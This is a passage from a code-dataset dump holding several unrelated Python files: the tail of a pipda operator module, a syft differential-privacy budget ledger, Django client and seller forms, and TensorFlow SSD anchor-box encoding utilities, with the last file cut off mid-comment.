should be used to evaluate\n the arguments.\n \"\"\"\n # set the context and data in case they need to be used\n # inside the function.\n self.data = data\n return super()._pipda_eval(data, context, level)\n\n def __getattr__(self, name: str) -> Any:\n \"\"\"Get the function to handle the operator\"\"\"\n # See if standard operator function exists\n return getattr(operator, name)\n\ndef register_operator(op_class: Type[Operator]) -> Type[Operator]:\n \"\"\"Register an Operator class\n\n The context count be a dict of operator name to context.\n For those operators not listed, will use Context.EVAL.\n \"\"\"\n if not issubclass(op_class, Operator):\n raise ValueError(\n \"The operator class to be registered must be \"\n \"a subclass of pipda.Operator.\"\n )\n Operator.REGISTERED = op_class\n return op_class\n\nregister_operator(Operator)\n","sub_path":"pipda/operator.py","file_name":"operator.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"554067532","text":"# future\nfrom __future__ import annotations\n\n# stdlib\nfrom functools import partial\nimport os\nfrom pathlib import Path\nimport time\nfrom typing import Any\nfrom typing import Callable\nfrom typing import Dict\nfrom typing import Optional\nfrom typing import TYPE_CHECKING\nfrom typing import Tuple\n\n# third party\nfrom typing_extensions import Final\n\n# relative\nfrom ...logger import info\n\nif TYPE_CHECKING:\n # stdlib\n from dataclasses import dataclass\nelse:\n from flax.struct import dataclass\n\n# third party\nimport jax\nfrom jax import numpy as jnp\nfrom nacl.signing import VerifyKey\nimport numpy as np\nfrom scipy.optimize import minimize_scalar\n\n# relative\nfrom ...core.node.common.node_manager.user_manager import RefreshBudgetException\nfrom ..common.serde.serializable import serializable\nfrom .abstract_ledger_store import AbstractDataSubjectLedger\nfrom .abstract_ledger_store import AbstractLedgerStore\n\n\ndef convert_constants_to_indices(rdp_constant_array: np.ndarray) -> np.ndarray:\n \"\"\"\n Given an array of RDP Constants, this will return an array of the same size/shape telling you which indices in the\n DataSubjectLedger's cache you need to query.\n\n This currently assumes the cache generated on May 4th 2022, where there are 1.2M values in total.\n - 500,000 of these correspond to RDP constants between 0 and 50 (10,000 between any two consecutive integers)\n - 700,000 of these correspond to RDP constants between 50 and 700,050\n\n An easy way to check if you're using the right cache is that the very\n first value in the cache should be 0.05372712063485988\n\n MAKE SURE THERE ARE NO ZEROS IN THE CACHE!!\n \"\"\"\n # Find indices for all RDP constants <= 50\n sub50_mask = rdp_constant_array <= 50\n # np.maximum is to avoid negative indices when rdp_constant_array is < 1\n sub50_indices = np.maximum(\n ((rdp_constant_array * sub50_mask * 10_000) - 1), 0\n ).astype(int)\n\n # Find indices for all RDP constants > 50\n gt50_mask = rdp_constant_array > 50\n gt50_indices = ((rdp_constant_array - 51 + 500_000) * gt50_mask).astype(int)\n\n # We should be able to do a straight addition because\n return sub50_indices + gt50_indices\n\n\ndef get_cache_path(cache_filename: str) -> str:\n here = os.path.dirname(__file__)\n root_dir = Path(here) / \"..\" / \"..\" / \"cache\"\n return os.path.abspath(root_dir / cache_filename)\n\n\ndef load_cache(filename: str) -> np.ndarray:\n CACHE_PATH = get_cache_path(filename)\n if not os.path.exists(CACHE_PATH):\n raise Exception(f\"Cannot load {CACHE_PATH}\")\n cache_array = np.load(CACHE_PATH)\n info(f\"Loaded constant2epsilon cache of size: {cache_array.shape}\")\n return cache_array\n\n\n@dataclass\nclass RDPParams:\n sigmas: jnp.array\n l2_norms: jnp.array\n l2_norm_bounds: jnp.array\n Ls: jnp.array\n # coeffs: jnp.array\n\n def __repr__(self) -> str:\n res = \"RDPParams:\"\n res = f\"{res}\\n sigmas:{self.sigmas}\"\n res = f\"{res}\\n l2_norms:{self.l2_norms}\"\n res = f\"{res}\\n l2_norm_bounds:{self.l2_norm_bounds}\"\n res = f\"{res}\\n Ls:{self.Ls}\"\n # res = f\"{res}\\n coeffs:{self.coeffs}\"\n\n return res\n\n\n# def get_unique_data_subjects(data_subjects_query: np.ndarray) -> np.ndarray:\n# # This might look horribly wrong, but .sum() returns all the unique DS for a DataSubjectArray ~ Ishan\n# return sorted(list(data_subjects_query.sum()))\n\n\ndef map_dsa_to_rdp_constants(\n data_subject_rdp_constants: Dict[str, np.ndarray],\n rdp_constants: Dict[str, np.ndarray],\n) -> Dict[str, np.ndarray]:\n \"\"\"Convert data subject array to data subject index array.\"\"\"\n for data_subject_name, rdp_constant in data_subject_rdp_constants.items():\n rdp_constants[data_subject_name] = (\n rdp_constants.get(data_subject_name, 0) + rdp_constant\n )\n\n return rdp_constants\n\n\n@partial(jax.jit, static_argnums=1)\ndef compute_rdp_constant(rdp_params: RDPParams, private: bool) -> jax.numpy.DeviceArray:\n squared_Ls = rdp_params.Ls**2\n squared_sigma = rdp_params.sigmas**2\n\n if private:\n # this is calculated on the private true values\n squared_l2 = rdp_params.l2_norms**2\n else:\n # bounds is computed on the metadata\n squared_l2 = rdp_params.l2_norm_bounds**2\n\n return squared_Ls * squared_l2 / (2 * squared_sigma)\n\n\n@jax.jit\ndef get_budgets_and_mask(\n epsilon_spend: jnp.array, user_budget: jnp.float64\n) -> Tuple[float, float, jax.numpy.DeviceArray]:\n # Function to vectorize the result of the budget computation.\n mask = jnp.ones_like(epsilon_spend) * user_budget < epsilon_spend\n # get the highest value which was under budget and represented by False in the mask\n highest_possible_spend = jnp.max(epsilon_spend * (1 - mask))\n return (highest_possible_spend, user_budget, mask)\n\n\n@serializable(recursive_serde=True)\nclass DataSubjectLedger(AbstractDataSubjectLedger):\n \"\"\"for a particular data subject, this is the list\n of all mechanisms releasing information about this\n particular subject, stored in a vectorized form\"\"\"\n\n __attr_allowlist__ = [\n \"_rdp_constants\",\n \"_update_number\",\n \"_timestamp_of_last_update\",\n ]\n\n CONSTANT2EPSILSON_CACHE_FILENAME = \"constant2epsilon_1200k.npy\"\n _cache_constant2epsilon = load_cache(filename=CONSTANT2EPSILSON_CACHE_FILENAME)\n\n def __init__(\n self,\n constants: Optional[Dict[str, np.ndarray]] = None,\n update_number: int = 0,\n timestamp_of_last_update: Optional[float] = None,\n ) -> None:\n self._rdp_constants = constants if constants else dict()\n self._update_number = update_number\n self._timestamp_of_last_update = (\n timestamp_of_last_update\n if timestamp_of_last_update is not None\n else time.time()\n )\n self._pending_save = False\n\n def __eq__(self, other: Any) -> bool:\n if not isinstance(other, DataSubjectLedger):\n return self == other\n return (\n self._update_number == other._update_number\n and self._timestamp_of_last_update == other._timestamp_of_last_update\n and self._rdp_constants == other._rdp_constants\n )\n\n @property\n def delta(self) -> float:\n FIXED_DELTA: Final = 1e-6\n return FIXED_DELTA # WARNING: CHANGING DELTA INVALIDATES THE CACHE\n\n def bind_to_store_with_key(\n self, store: AbstractLedgerStore, user_key: VerifyKey\n ) -> None:\n self.store = store\n self.user_key = user_key\n\n @staticmethod\n def get_or_create(\n store: AbstractLedgerStore, user_key: VerifyKey\n ) -> Optional[AbstractDataSubjectLedger]:\n ledger: Optional[AbstractDataSubjectLedger] = None\n try:\n # todo change user_key or uid?\n ledger = store.get(key=user_key)\n ledger.bind_to_store_with_key(store=store, user_key=user_key)\n except KeyError:\n print(\"Creating new Ledger\")\n ledger = DataSubjectLedger()\n ledger.bind_to_store_with_key(store=store, user_key=user_key)\n except Exception as e:\n print(f\"Failed to read ledger from ledger store. {e}\")\n\n return ledger\n\n # def get_entity_overbudget_mask_for_epsilon_and_append(\n # self,\n # unique_entity_ids_query: np.ndarray,\n # rdp_params: RDPParams,\n # get_budget_for_user: Callable,\n # deduct_epsilon_for_user: Callable,\n # private: bool = True,\n # ) -> np.ndarray:\n # # coerce to np.int64\n # entity_ids_query: np.ndarray = (\n # unique_entity_ids_query # = unique_entity_ids_query.astype(np.int64)\n # )\n # # calculate constants\n # rdp_constants = self._get_batch_rdp_constants(\n # entity_ids_query=entity_ids_query, rdp_params=rdp_params, private=private\n # )\n #\n # # here we iteratively attempt to calculate the overbudget mask and save\n # # changes to the database\n # mask = self._get_overbudgeted_entities(\n # get_budget_for_user=get_budget_for_user,\n # deduct_epsilon_for_user=deduct_epsilon_for_user,\n # rdp_constants=rdp_constants,\n # )\n #\n # # at this point we are confident that the database budget field has been updated\n # # so now we should flush the _rdp_constants that we have calculated to storage\n # if self._write_ledger():\n # return mask\n\n def _write_ledger(self) -> bool:\n self._update_number += 1\n try:\n self._pending_save = False\n self.store.set(key=self.user_key, value=self)\n return True\n except Exception as e:\n self._pending_save = True\n print(f\"Failed to write ledger to ledger store. {e}\")\n raise e\n\n def _increase_max_cache(self, new_size: int) -> None:\n new_entries = []\n current_size = len(self._cache_constant2epsilon)\n new_alphas = []\n for i in range(new_size - current_size):\n alph, eps = self._get_optimal_alpha_for_constant(\n constant=i + 1 + current_size\n )\n new_entries.append(eps)\n new_alphas.append(alph)\n\n self._cache_constant2epsilon = np.concatenate(\n [self._cache_constant2epsilon, np.array(new_entries)]\n )\n\n def _fetch_eps_spend_for_big_rdp(\n self, big_rdp_constant: np.ndarray, indices: np.ndarray\n ) -> np.ndarray:\n \"\"\"\n We only use this when the RDP constant is large enough that extending the cache would take too long.\n As of Nov 21, 2022, we decided the cutoff would be the current cache size + 150,000\n \"\"\"\n # There may be a vectorized way of doing this using jnp.take() and cacheable as a boolean mask\n\n eps_values = []\n # filter values that are cache-able\n cacheable = (\n big_rdp_constant <= 700_050\n ) # TODO: Replace this with a class variable\n cacheable = cacheable.flatten()\n rdp_constants = big_rdp_constant.flatten()\n\n for is_cacheable, constant, index in zip(cacheable, rdp_constants, indices):\n if is_cacheable:\n eps = self._cache_constant2epsilon[index]\n else:\n _, eps = self._get_optimal_alpha_for_constant(constant)\n eps_values.append(eps)\n return jnp.array(eps_values).reshape(big_rdp_constant.shape)\n\n def _get_fake_rdp_func(self, constant: int) -> Callable:\n def func(alpha: float) -> float:\n return alpha * constant\n\n return func\n\n def _get_alpha_search_function(self, rdp_compose_func: Callable) -> Callable:\n log_delta = np.log(self.delta)\n\n def fun(alpha: float) -> float: # the input is the RDP's \\alpha\n if alpha <= 1:\n return np.inf\n else:\n alpha_minus_1 = alpha - 1\n return np.maximum(\n rdp_compose_func(alpha)\n + np.log(alpha_minus_1 / alpha)\n - (log_delta + np.log(alpha)) / alpha_minus_1,\n 0,\n )\n\n return fun\n\n def _get_optimal_alpha_for_constant(\n self, constant: int = 3\n ) -> Tuple[np.ndarray, Callable]:\n f = self._get_fake_rdp_func(constant=constant)\n f2 = self._get_alpha_search_function(rdp_compose_func=f)\n results = minimize_scalar(\n f2,\n method=\"Brent\",\n bracket=(1, 2), # bounds=[1, np.inf]\n )\n\n return results.x, results.fun\n\n def update_rdp_constants(self, data_subject_rdp_constants: Dict) -> None:\n self._rdp_constants = map_dsa_to_rdp_constants(\n data_subject_rdp_constants=data_subject_rdp_constants,\n rdp_constants=self._rdp_constants,\n )\n return None\n\n # def _get_batch_rdp_constants(\n # self, entity_ids_query: jnp.ndarray, rdp_params: RDPParams, private: bool = True\n # ) -> jnp.ndarray:\n # query_constants = compute_rdp_constant(rdp_params, private)\n #\n # self.update_rdp_constants(\n # query_constants=query_constants, entity_ids_query=entity_ids_query\n # )\n # return query_constants\n\n def _get_epsilon_spend(self, rdp_constants: np.ndarray) -> np.ndarray:\n rdp_constants_lookup = convert_constants_to_indices(rdp_constants)\n if rdp_constants_lookup.max() - len(self._cache_constant2epsilon) >= 150_000:\n eps_spend = self._fetch_eps_spend_for_big_rdp(\n rdp_constants, rdp_constants_lookup\n )\n else:\n try:\n # needed as np.int64 to use take\n eps_spend = jax.jit(jnp.take)(\n self._cache_constant2epsilon, rdp_constants_lookup\n )\n\n # take no longer wraps which was probably wrong:\n # https://github.com/google/jax/commit/0b470361dac51fb4f5ab2f720f1cf35e442db005\n # now we should expect NaN when the max rdp_constants_lookup is higher\n # than the length of self._cache_constant2epsilon\n # we could also check the max head of time if its faster than checking the\n # output for NaNs\n if jnp.isnan(eps_spend).any():\n raise ValueError(\"NaNs from RDP Lookup, we need to recalculate\")\n\n except (ValueError, IndexError):\n print(f\"Cache missed the value at {max(rdp_constants_lookup)}\")\n self._increase_max_cache(int(max(rdp_constants_lookup) * 1.1))\n eps_spend = jax.jit(jnp.take)(\n self._cache_constant2epsilon, rdp_constants_lookup\n )\n return eps_spend\n\n def _calculate_mask_for_current_budget(\n self, get_budget_for_user: Callable, epsilon_spend: np.ndarray\n ) -> Tuple[float, float, np.ndarray]:\n user_budget = get_budget_for_user(verify_key=self.user_key)\n # create a mask of True and False where true is over current user_budget\n return get_budgets_and_mask(epsilon_spend, user_budget)\n\n def _get_overbudgeted_entities(\n self,\n get_budget_for_user: Callable,\n deduct_epsilon_for_user: Callable,\n rdp_constants: np.ndarray,\n ) -> Tuple[np.ndarray]:\n epsilon_spend = self._get_epsilon_spend(rdp_constants=rdp_constants)\n\n # try first time\n (\n highest_possible_spend,\n user_budget,\n mask,\n ) = self._calculate_mask_for_current_budget(\n get_budget_for_user=get_budget_for_user, epsilon_spend=epsilon_spend\n )\n\n mask = np.array(mask, copy=False)\n highest_possible_spend = float(highest_possible_spend)\n user_budget = float(user_budget)\n print(\"Epsilon spend \", epsilon_spend)\n print(\"Highest possible spend \", highest_possible_spend)\n if highest_possible_spend > 0:\n # go spend it in the db\n attempts = 0\n while attempts < 5:\n print(\n f\"Attemping to spend epsilon: {highest_possible_spend}. Try: {attempts}\"\n )\n attempts += 1\n try:\n user_budget = self.spend_epsilon(\n deduct_epsilon_for_user=deduct_epsilon_for_user,\n epsilon_spend=highest_possible_spend,\n old_user_budget=user_budget,\n )\n break\n except RefreshBudgetException: # nosec\n # this is the only exception we allow to retry\n (\n highest_possible_spend,\n user_budget,\n mask,\n ) = self._calculate_mask_for_current_budget(\n get_budget_for_user=get_budget_for_user,\n epsilon_spend=epsilon_spend,\n )\n except Exception as e:\n print(f\"Problem spending epsilon. {e}\")\n raise e\n\n if user_budget is None:\n raise Exception(\"Failed to spend_epsilon\")\n\n return mask\n\n def spend_epsilon(\n self,\n deduct_epsilon_for_user: Callable,\n epsilon_spend: float,\n old_user_budget: float,\n ) -> float:\n if epsilon_spend < 0:\n raise Exception(\n \"Deducting a negative epsilon spend would result in potentially infinite PB. \"\n \"Please contact the OpenMined support team.\"\n \"Thank you, and sorry for the inconvenience!\"\n )\n\n # get the budget\n print(\"got user budget\", old_user_budget, \"epsilon_spent\", epsilon_spend)\n deduct_epsilon_for_user(\n verify_key=self.user_key,\n old_budget=old_user_budget,\n epsilon_spend=epsilon_spend,\n )\n # return the budget we used\n return old_user_budget\n","sub_path":"packages/syft/src/syft/core/adp/data_subject_ledger.py","file_name":"data_subject_ledger.py","file_ext":"py","file_size_in_byte":17062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"324645844","text":"from django import forms\nfrom clientes.models import Cliente, Vendedor\nfrom ajax_select.fields import AutoCompleteSelectField\n\n\nclass ClienteForm(forms.ModelForm):\n class Meta:\n model = Cliente\n fields = '__all__'\n\n barrio = AutoCompleteSelectField('barrios-lookup',\n required=False,\n show_help_text=False,\n help_text='despliega los barrios correspondientes a una cierta ciudad.')\n segmento = AutoCompleteSelectField('segmentos-lookup',\n required=False,\n show_help_text=False,\n help_text='Indica un tipo de cliente. Ej: Gimnasio, Particular, etc.')\n # vendedor = forms.ModelChoiceField(queryset=Vendedor.objects.all(), required=True)\n\n\nclass VendedorForm(forms.ModelForm):\n class Meta:\n model = Vendedor\n fields = ('usuario', 'margen_venta', 'margen_delivery')\n\n def clean_margen_venta(self):\n margen = self.cleaned_data['margen_venta']\n if margen is not None:\n if margen <= 0 or margen > 100:\n raise forms.ValidationError('El margen debe ser mayor a cero y menor o igual a 100')\n return self.cleaned_data['margen_venta']\n\n def clean_margen_delivery(self):\n margen = self.cleaned_data['margen_delivery']\n\n if margen is not None:\n if margen <= 0 or margen > 100:\n raise forms.ValidationError('El margen debe ser mayor a cero y menor o igual a 100')\n return self.cleaned_data['margen_delivery']\n","sub_path":"clientes/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"442661559","text":"import math\n\nimport tensorflow as tf\n\ndef areas(gt_bboxes):\n \"\"\" calculate areas for bboxes\n :param gt_bboxes: shape (N,4)\n :return: areas, shape (N,)\n \"\"\"\n with tf.name_scope('bboxes_areas', [gt_bboxes]):\n ymin, xmin, ymax, xmax = tf.split(gt_bboxes, 4, axis=1)\n return (xmax - xmin) * (ymax - ymin)\n\ndef intersection(gt_bboxes, default_bboxes):\n \"\"\"\n :param gt_bboxes: shape (N,4) ymin, xmin, ymax, xmax\n :param default_bboxes: shape (M,4) ymin, xmin, ymax, xmax\n :return: shape (N,M)\n \"\"\"\n with tf.name_scope('bboxes_intersection', [gt_bboxes, default_bboxes]):\n # num_gts x 1\n ymin, xmin, ymax, xmax = tf.split(gt_bboxes, 4, axis=1)\n # 1 x num_anchors\n gt_ymin, gt_xmin, gt_ymax, gt_xmax = [tf.transpose(b, perm=[1, 0]) for b in tf.split(default_bboxes, 4, axis=1)]\n # broadcast here to generate the full matrix\n int_ymin = tf.maximum(ymin, gt_ymin)\n int_xmin = tf.maximum(xmin, gt_xmin)\n int_ymax = tf.minimum(ymax, gt_ymax)\n int_xmax = tf.minimum(xmax, gt_xmax)\n h = tf.maximum(int_ymax - int_ymin, 0.)\n w = tf.maximum(int_xmax - int_xmin, 0.)\n return h * w\n\ndef iou_matrix(gt_bboxes, default_bboxes):\n \"\"\"\n :param gt_bboxes: shape (N,4) ymin, xmin, ymax, xmax\n :param default_bboxes: shape (M,4) ymin, xmin, ymax, xmax\n :return:\n \"\"\"\n with tf.name_scope('iou_matrix', [gt_bboxes, default_bboxes]):\n inter_vol = intersection(gt_bboxes, default_bboxes)\n # broadcast\n union_vol = areas(gt_bboxes) + tf.transpose(areas(default_bboxes), perm=[1, 0]) - inter_vol\n\n return tf.where(tf.equal(union_vol, 0.0),\n tf.zeros_like(inter_vol), tf.truediv(inter_vol, union_vol))\n\ndef do_dual_max_match(overlap_matrix, low_thres, high_thres, ignore_between=True, gt_max_first=True):\n '''\n overlap_matrix: num_gts * num_anchors\n '''\n with tf.name_scope('dual_max_match', [overlap_matrix]):\n # first match from anchors' side\n anchors_to_gt = tf.argmax(overlap_matrix, axis=0) # shape (num_anchors,)\n # the matching degree\n match_values = tf.reduce_max(overlap_matrix, axis=0) # shape (num_anchors,)\n\n #positive_mask = tf.greater(match_values, high_thres)\n less_mask = tf.less(match_values, low_thres) # shape (num_anchors,)\n between_mask = tf.logical_and(tf.less(match_values, high_thres), tf.greater_equal(match_values, low_thres))\n negative_mask = less_mask if ignore_between else between_mask\n ignore_mask = between_mask if ignore_between else less_mask\n # fill all negative positions with -1, all ignore positions is -2\n match_indices = tf.where(negative_mask, -1 * tf.ones_like(anchors_to_gt), anchors_to_gt)\n match_indices = tf.where(ignore_mask, -2 * tf.ones_like(match_indices), match_indices) # shape (num_anchors,)\n\n # negtive values has no effect in tf.one_hot, that means all zeros along that axis\n # so all positive match positions in anchors_to_gt_mask is 1, all others are 0\n anchors_to_gt_mask = tf.one_hot(tf.clip_by_value(match_indices, -1, tf.cast(tf.shape(overlap_matrix)[0], tf.int64)),\n tf.shape(overlap_matrix)[0], on_value=1, off_value=0, axis=0, dtype=tf.int32) # shape (num_gts,num_anchors)\n # match from ground truth's side\n gt_to_anchors = tf.argmax(overlap_matrix, axis=1) #shape (num_gts,)\n\n if gt_max_first:\n # the max match from ground truth's side has higher priority\n left_gt_to_anchors_mask = tf.one_hot(gt_to_anchors, tf.shape(overlap_matrix)[1], on_value=1, off_value=0, axis=1, dtype=tf.int32) #shape (num_gts,num_anchors)\n else:\n # the max match from anchors' side has higher priority\n # use match result from ground truth's side only when the the matching degree from anchors' side is lower than position threshold\n left_gt_to_anchors_mask = tf.cast(tf.logical_and(tf.reduce_max(anchors_to_gt_mask, axis=1, keep_dims=True) < 1, # shape (num_gts,1), select non-paired gts\n tf.one_hot(gt_to_anchors, tf.shape(overlap_matrix)[1],\n on_value=True, off_value=False, axis=1, dtype=tf.bool) # shape (num_gts, num_anchors)\n ), tf.int64)\n # can not use left_gt_to_anchors_mask here, because there are many ground truthes match to one anchor, we should pick the highest one even when we are merging matching from ground truth side\n left_gt_to_anchors_scores = overlap_matrix * tf.to_float(left_gt_to_anchors_mask) #shape (num_gts,num_anchors)\n # merge matching results from ground truth's side with the original matching results from anchors' side\n # then select all the overlap score of those matching pairs\n selected_scores = tf.gather_nd(overlap_matrix, tf.stack([tf.where(tf.reduce_max(left_gt_to_anchors_mask, axis=0) > 0, #shape (num_anchors,)\n tf.argmax(left_gt_to_anchors_scores, axis=0), # from gt prior\n anchors_to_gt), # from anchor prior\n tf.range(tf.cast(tf.shape(overlap_matrix)[1], tf.int64))], axis=1))\n # return the matching results for both foreground anchors and background anchors, also with overlap scores\n return tf.where(tf.reduce_max(left_gt_to_anchors_mask, axis=0) > 0, # shape (num_anchors,)\n tf.argmax(left_gt_to_anchors_scores, axis=0), # shape (num_anchors,)\n match_indices # shape (num_anchors,)\n ), selected_scores\n\n# def save_anchors(bboxes, labels, anchors_point):\n# if not hasattr(save_image_with_bbox, \"counter\"):\n# save_image_with_bbox.counter = 0 # it doesn't exist yet, so initialize it\n# save_image_with_bbox.counter += 1\n#\n# np.save('./debug/bboxes_{}.npy'.format(save_image_with_bbox.counter), np.copy(bboxes))\n# np.save('./debug/labels_{}.npy'.format(save_image_with_bbox.counter), np.copy(labels))\n# np.save('./debug/anchors_{}.npy'.format(save_image_with_bbox.counter), np.copy(anchors_point))\n# return save_image_with_bbox.counter\ndef center2point(center_y, center_x, height, width):\n return center_y - height / 2., center_x - width / 2., center_y + height / 2., center_x + width / 2.,\n\ndef point2center(ymin, xmin, ymax, xmax):\n height, width = (ymax - ymin), (xmax - xmin)\n return ymin + height / 2., xmin + width / 2., height, width\n\nclass AnchorEncoder(object):\n '''for a single image's bbox\n '''\n def __init__(self, allowed_borders, positive_threshold, ignore_threshold, prior_scaling, clip=False, encording_order=0):\n \"\"\"\n :param allowed_borders:\n :param positive_threshold:\n :param ignore_threshold:\n :param prior_scaling:\n :param clip:\n :param encorder_order: 0 for order y,x,h,w, 1 for order x,y,w,h which is SSD order\n \"\"\"\n super(AnchorEncoder, self).__init__()\n self._all_anchors = None\n self._allowed_borders = allowed_borders\n self._positive_threshold = positive_threshold\n self._ignore_threshold = ignore_threshold\n self._prior_scaling = prior_scaling\n self._clip = clip\n self._encording_order=encording_order\n # # for debug\n # self._overlap_matrix = None\n # self._anchor_points = None\n\n def encode_all_anchors(self, labels, bboxes, all_anchors, scope = 'encode_all_anchors', debug=False, encoding_order=None):\n \"\"\"\n :param labels: shape (N,)\n :param bboxes: shape (N,4) ymin, xmin, ymax, xmax, within [0.,1.]\n :param all_anchors: list of tuple (y,x,h,w), length of list is the number of layer\n with y/x shape (layer_shape[0],layer_shape[1],1),\n w/h shape (num_anchors_along_depth[i],)\n (hint, for num_anchors_along_depth, see doc for class AnchorCreator)\n :param scope: layer scope\n :param debug:\n :param encoder_order: None for use self._encoder_order\n :return:\n gt_localisations, shape (num_anchors,4)\n gt_classes, shape (num_anchors,1)\n gt_scores, shape (num_anchors,1)\n \"\"\"\n # y, x, h, w are all in range [0, 1] relative to the original image size\n # shape info:\n # y_on_image, x_on_image: layers_shapes[0] * layers_shapes[1]\n # h_on_image, w_on_image: num_anchors\n # assert (len(all_num_anchors_depth)==len(all_num_anchors_spatial)) and (len(all_num_anchors_depth)==len(all_anchors)), 'inconsist num layers for anchors.'\n if encoding_order is None:\n encoding_order = self._encording_order\n assert encoding_order==0 or encoding_order==1, 'invalid encorder order!'\n with tf.name_scope(scope):\n # type conversion\n bboxes = tf.cast(bboxes, dtype=tf.float32)\n labels = tf.cast(labels,dtype=tf.int64)\n # num_layers = len(all_num_anchors_depth)\n list_anchors_ymin = []\n list_anchors_xmin = []\n list_anchors_ymax = []\n list_anchors_xmax = []\n tiled_allowed_borders = []\n for ind, anchor in enumerate(all_anchors):\n # anchor tuple of 4 tf tensors (y,x,w,h)\n # anchors_ymin_/.... shape (layer_shape[0],layer_shape[1], w.shape[0])\n anchors_ymin_, anchors_xmin_, anchors_ymax_, anchors_xmax_ = center2point(anchor[0], anchor[1], anchor[2], anchor[3])\n # shape after reshape (num_anchors_each_layer,)\n list_anchors_ymin.append(tf.reshape(anchors_ymin_, [-1]))\n list_anchors_xmin.append(tf.reshape(anchors_xmin_, [-1]))\n list_anchors_ymax.append(tf.reshape(anchors_ymax_, [-1]))\n list_anchors_xmax.append(tf.reshape(anchors_xmax_, [-1]))\n #TODO Fix this error: Done!\n # tiled_allowed_borders.extend([self._allowed_borders[ind]] * all_num_anchors_depth[ind] * all_num_anchors_spatial[ind])\n tiled_allowed_borders.append(self._allowed_borders[ind]*tf.ones(list_anchors_xmax[-1].shape,dtype=tf.float32))\n # shape (num_anchors,)\n anchors_ymin = tf.concat(list_anchors_ymin, 0, name='concat_ymin')\n anchors_xmin = tf.concat(list_anchors_xmin, 0, name='concat_xmin')\n anchors_ymax = tf.concat(list_anchors_ymax, 0, name='concat_ymax')\n anchors_xmax = tf.concat(list_anchors_xmax, 0, name='concat_xmax')\n anchor_allowed_borders = tf.concat(tiled_allowed_borders,0, name='concat_allowed_borders')\n\n if self._clip:\n anchors_ymin = tf.clip_by_value(anchors_ymin, 0., 1.)\n anchors_xmin = tf.clip_by_value(anchors_xmin, 0., 1.)\n anchors_ymax = tf.clip_by_value(anchors_ymax, 0., 1.)\n anchors_xmax = tf.clip_by_value(anchors_xmax, 0., 1.)\n\n # anchor_allowed_borders = tf.stack(tiled_allowed_borders, 0, name='concat_allowed_borders')\n\n inside_mask = tf.logical_and(tf.logical_and(anchors_ymin > -anchor_allowed_borders * 1.,\n anchors_xmin > -anchor_allowed_borders * 1.),\n tf.logical_and(anchors_ymax < (1. + anchor_allowed_borders * 1.),\n anchors_xmax < (1. + anchor_allowed_borders * 1.)))\n # shape (all_num_anchors,4)\n anchors_point = tf.stack([anchors_ymin, anchors_xmin, anchors_ymax, anchors_xmax], axis=-1)\n # self._anchor_points = anchors_point\n # save_anchors_op = tf.py_func(save_anchors,\n # [bboxes,\n # labels,\n # anchors_point],\n # tf.int64, stateful=True)\n\n # with tf.control_dependencies([save_anchors_op]):\n overlap_matrix = iou_matrix(bboxes, anchors_point) * tf.cast(tf.expand_dims(inside_mask, 0), tf.float32)\n # self._overlap_matrix = overlap_matrix\n # shape (all_num_anchors,)\n matched_gt, gt_scores = do_dual_max_match(overlap_matrix, self._ignore_threshold, self._positive_threshold)\n # get all positive matching positions\n matched_gt_mask = matched_gt > -1\n matched_indices = tf.clip_by_value(matched_gt, 0, tf.int64.max)\n # the labels here maybe chaos at those non-positive positions\n gt_classes = tf.gather(labels, matched_indices)\n # filter the invalid labels\n gt_classes = gt_classes * tf.cast(matched_gt_mask, tf.int64)\n # set those ignored positions to -1\n gt_classes = gt_classes + (-1 * tf.cast(matched_gt < -1, tf.int64))\n # with tf.gather, the order of bboxes is adjusted\n gt_ymin, gt_xmin, gt_ymax, gt_xmax = tf.unstack(tf.gather(bboxes, matched_indices), 4, axis=-1)\n\n # transform to center / size.\n gt_cy, gt_cx, gt_h, gt_w = point2center(gt_ymin, gt_xmin, gt_ymax, gt_xmax)\n anchor_cy, anchor_cx, anchor_h, anchor_w = point2center(anchors_ymin, anchors_xmin, anchors_ymax, anchors_xmax)\n # encode features.\n # the prior_scaling (in fact is 5 and 10) is use for balance the regression loss of center and with(or height)\n gt_cy = (gt_cy - anchor_cy) / anchor_h / self._prior_scaling[0]\n gt_cx = (gt_cx - anchor_cx) / anchor_w / self._prior_scaling[1]\n gt_h = tf.log(gt_h / anchor_h) / self._prior_scaling[2]\n gt_w = tf.log(gt_w / anchor_w) / self._prior_scaling[3]\n # now gt_localizations is our regression object, but also maybe chaos at those non-positive positions\n if encoding_order==0:\n gt_localisations = tf.stack([gt_cy, gt_cx, gt_h, gt_w], axis=-1)\n else:#== 1\n gt_localisations = tf.stack([gt_cx, gt_cy, gt_w, gt_h], axis=-1)\n\n # set all targets of non-positive positions to 0\n gt_localisations = tf.expand_dims(tf.cast(matched_gt_mask, tf.float32), -1) * gt_localisations\n #TODO: This may not be necessary\n # self._all_anchors = (anchor_cy, anchor_cx, anchor_h, anchor_w)\n return gt_localisations, gt_classes, gt_scores\n\n\n def decode_one_layer_anchors(self, feat_localizations,anchors_layer, prior_scaling=None, decoding_order=None):\n \"\"\"\n\n :param feat_localizations: 5-D tensor with shape (bs,h,w,layer_depth, 4)\n :param anchors_layer: tuple (y,x,w,h) y|x being 3-D tensor with shape (h,w,1), w|h being 1-D tensor with shape (layer_depth,)\n :param prior_scaling:\n :param decoding_order:\n :return:\n tensor 5-D tensor: with shape (bs, h, w, layer_depth, 4)\n \"\"\"\n # assert self._all_anchors is not None, 'no anchors to decode.'\n if prior_scaling is None:\n assert self._prior_scaling is not None,'no prior scaling.'\n prior_scaling=self._prior_scaling\n if decoding_order is None:\n assert self._encording_order is not None,'no encoder order.'\n decoding_order = self._encording_order\n assert decoding_order == 0 or decoding_order == 1, 'invalid decorder order!'\n\n return tf_ssd_bboxes_decode(feat_localizations,anchors_layer,prior_scaling,decoding_order)\n # anchor_cy, anchor_cx, anchor_h, anchor_w = anchors_layer\n # if decoder_order==0:\n # # explanations: the -2 shape of feat_localizations is same with the length of anchor_h, so the following expression is valid\n # pred_h = tf.exp(feat_localizations[:,:,:,:, 2] * prior_scaling[2]) * anchor_h\n # pred_w = tf.exp(feat_localizations[:,:,:,:, 3] * prior_scaling[3]) * anchor_w\n # pred_cy = feat_localizations[:,:,:,:, 0] * prior_scaling[0] * anchor_h + anchor_cy\n # pred_cx = 